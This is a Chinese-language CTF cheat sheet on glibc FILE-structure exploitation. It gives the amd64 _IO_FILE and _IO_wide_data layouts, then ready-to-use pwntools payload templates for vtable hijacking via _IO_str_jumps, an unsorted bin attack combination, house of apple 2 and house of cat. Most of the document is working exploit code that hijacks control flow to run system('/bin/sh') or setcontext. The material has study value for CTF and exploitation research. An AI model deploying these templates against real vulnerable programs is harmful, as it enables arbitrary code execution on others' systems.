IO Exploit [Updating~]

引言:

IO利用相关备忘

IO File结构体

amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

通用fake file布置板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, b"\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, b"\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, b'\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, b"\x00")
return file_struct

vtable 劫持 Glibc 2.24

劫持_IO_list_allfake_chunk, 劫持vtable_IO_str_jumps

调用链:

1
2
3
4
5
6
7
8
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

限制:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

板子:

1
2
3
4
5
6
7
8
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr

调用链:

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

限制:

  1. `1. fp->_flags & _IO_NO_WRITES为假`
  2. `2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))`
  3. `3. fp->_flags & _IO_USER_BUF(0x01)为假`
  4. `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数`
  5. `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址`
  6. `6. fp+0xe0指向system地址`

板子:

1
2
3
4
5
6
7
8
9
10
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps - 0x18

unsorted bin attack结合利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8)
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

house of apple 2

劫持_IO_2_1_stdout_, 在puts时触发

调用链:

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

限制条件:

_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A

_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0

_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0

_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

例题: 第七届省赛预赛apple

fake_file 板子:

1
2
3
4
5
6
7
8
fakeFile = flat({
0x0: b" sh;",
0x28: 1,
0x68: libc.sym["system"],
0xa0: libc.sym["_IO_2_1_stdout_"],
0xd8: libc.sym["_IO_wfile_jumps"],
0xe0: libc.sym["_IO_2_1_stdout_"],
}, filler=b"\0") # -- 0RAYS

house of cat

伪造fake_IO_struct

调用链:

1
2
3
4
_IO_flush_all_lockp
fake_vtable(_IO_wfile_jumps)->_IO_wfile_seekoff
_IO_switch_to_wget_mode

板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr